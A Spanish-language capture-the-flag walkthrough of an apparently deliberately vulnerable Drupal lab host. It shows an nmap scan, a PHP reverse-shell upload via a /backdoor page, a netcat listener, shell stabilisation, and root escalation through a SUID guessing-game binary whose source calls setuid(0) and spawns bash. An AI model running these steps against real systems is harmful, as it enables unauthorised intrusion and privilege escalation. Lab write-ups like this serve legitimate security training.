Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 10:08 EST
Nmap scan report for 172.17.0.2
Host is up (0.000042s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-generator: Drupal 10 (https://www.drupal.org)
|_http-title: Hackstry
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds
Vemos que hay una pagina web activa, por lo que fuzzearemos un poco a ver que encontramos.
Vemos una bastante interesante llamada /backdoor, si nos metemos dentro veremos una pagina en la que podremos subir un archivo, por lo que subiremos un archivo para hacernos una reverse shell.
Gracias por enviar tu currículum. Hemos recibido el archivo: shell.php
Escalate user www-data
Y estando a la escucha:
nc -lvnp <PORT>
Ahora ejecutamos el archivo de /uploads, echo esto veremos una shell con el usuario www-data:
listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 53128
whoami
www-data
Sanitizacion Shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user lucas
Si no vamos a la siguiente ruta:
cd /home/andy/.secret
Veremos 2 archivos:
-rwxr-xr-x 1 andy andy 512 Sep 11 22:31 escalate.c
-rwxr-xr-x 1 andy andy 16176 Sep 11 22:33 ftpserver
Si ejecutamos ftpserver seremos el usuario lucas:
./ftpserver
Info:
UID actual: 1001
EUID actual: 1001
bash: $'\302\241Bienvenido': command not found
Escalate Privileges
Si nos vamos a la siguiente ruta:
cd /home/lucas/.game
Veremos 2 archivos, pero uno de ellos nos interesa ya que tiene permisos SUID, a parte de que podemos ver el archivo .c por lo que sabemos que lo que hace el archivo es lo siguiente:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
int guess;
int secret_number = 7; // Número secreto para ganar
printf("¡Bienvenido al juego de adivinanzas!\n");
printf("Adivina el número secreto (entre 1 y 10): ");
scanf("%d", &guess);
if (guess == secret_number) {
printf("¡Felicidades! Has adivinado el número.\n");
printf("Iniciando shell como root...\n");
// Cambia el UID efectivo a root (0)
setuid(0);
system("/bin/bash");
} else {
printf("Número incorrecto. Intenta de nuevo.\n");
}
return 0;
}
Si ejecutamos EligeOMuere y seleccionamos el numero 7 veremos que escalaremos a root ya que en el codigo se ve que es con el numero 7.
¡Bienvenido al juego de adivinanzas!
Adivina el número secreto (entre 1 y 10): 7
¡Felicidades! Has adivinado el número.
Iniciando shell como root...